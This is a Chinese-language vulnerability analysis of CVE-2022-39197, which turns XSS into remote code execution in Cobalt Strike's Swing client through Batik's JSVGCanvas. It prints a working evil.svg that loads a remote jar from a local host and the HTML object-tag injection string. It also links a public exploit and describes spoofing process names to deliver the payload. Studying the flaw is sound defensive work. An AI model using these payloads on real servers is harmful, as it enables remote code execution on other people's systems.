Cobalt Strike(也称CS)由美国Red Team开发,是一款基于java的内网渗透测试工具,是最早的公共红队指挥和控制框架之一。Cobalt Strike旨在通过模拟几种可能的攻击工具和场景,允许渗透测试人员和网络防御人员检查他们的安全专业的强度。然而,安全测试套件也被黑客(包括勒索软件团伙)广泛使用,以渗透目标网络

该漏洞存在于Cobalt Strike的Beacon软件中,可能允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行

影响范围:

  • Cobalt Strike <= 4.7

漏洞原文:https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/

Swing框架

这个漏洞本质上是java自带的GUI组件swing的html注入

从官方给出的文档:https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
可以知道,Swing本身是支持HTML的标签的,只需要just put the <html> tag at the beginning of the text, then use any valid HTML in the remainder

写一个demo测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.swing.*;
import java.awt.*;

public class SwingDemo {
public static void main(String[] args) {
JFrame frame = new JFrame("SwingDemo");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setPreferredSize(new Dimension(400, 400));
JLabel label = new JLabel("<html><img scr=x></html>");
frame.getContentPane().add(label);
frame.pack();
frame.setVisible(true);
}
}

发现成功解析了img标签,但其实这套html的解析引擎是java自己实现的,并不是引了一个第三方引擎
在rt.jar包里面的javax.swing.text.html.HTML实例化了一堆Tag对象和Attribute对象

并在javax.swing.text.html.HTMLDocument类中将每个之前实例化的Tag都对应指定了一个Action类

javax.swing.text.html.HTMLEditorKit里的create方法可以看到不同的标签会创建不同的view

我们就可以看到这里script直接返回HiddenTagView了,说明并不支持script标签,也就没办法执行js代码
但这里其实存在一个object标签

它反射并实例化一个继承Component的类并且通过param进行参数传递

跟进setParameters方法,可以看到该参数必须是string类型,并且必须是可写方法

总结下来就是:

  • classid传入需要实例化的类,类必须继承与Component
  • 必须存在无参构造方法
  • 必须存在一个属性XXX,并且该属性有setXXX函数
  • setXXX方法的传参数必须是接受一个string类型的参数

JSVGCanvas RCE

最终师傅们找到了一个

1
org.apache.batik.swing.JSVGCanvas-->setURI

这个方法的功能是设置SVG图片的地址,远程加载SVG图片
在网上找了一个XXE的漏洞:Apache Batik XXE—【CVE-2017-5662】,但是这个漏洞在1.9版本就已经修复了,现在的batik版本已经是1.14

在解析svg时会调用到org.apache.batik.bridge.BaseScriptingEnvironment类的loadScripts方法

可以看出通过获取type来走不同的分支流程,默认为text/ecmascript,这种方式可以通过javascript库来执行命令,但是由于默认CS的jar包中并没有javascript库,导致这种方式并不能执行利用,但是我们可以走另一个分支流程,是type为application/java-archive的情况

这段代码通过var26加载远程的jar包,然后loadClass加载var13对应的类,如果var26可控,那么我们就可以通过这种方式来构造RCE

跟进XLinkSupport.getXLinkHref方法

发现是URL地址来自于namespaceURI为http://www.w3.org/1999/xlink的href属性

这里有两种方式:
一种是实现EventListenerInitializer类,MANIFEST.MF指定SVG-Handler-Class
一种是实现ScriptHandler类,MANIFEST.MF指定Script-Handler

其实早在2012年就有利用方式了:https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
evil.svg:

1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="http://127.0.0.1:8000/EvilJar-1.0-jar-with-dependencies.jar"/>
<text>CVE-2022-39197</text>
</svg>

然后Swing加载

1
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:8000/evil.svg'></object>

成功rce

漏洞利用

网上已经公开了脚本:https://github.com/its-arun/CVE-2022-39197

可以通过frada脚本来hook win api修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行RCE

参考文章:
CS的RCE利用研究
最新CS RCE曲折的复现路
反制Cobaltstrike的那些手段
最新CS RCE(CVE-2022-39197)复现心得分享
CS Xss2Rce CVE-2022-39197分析与复现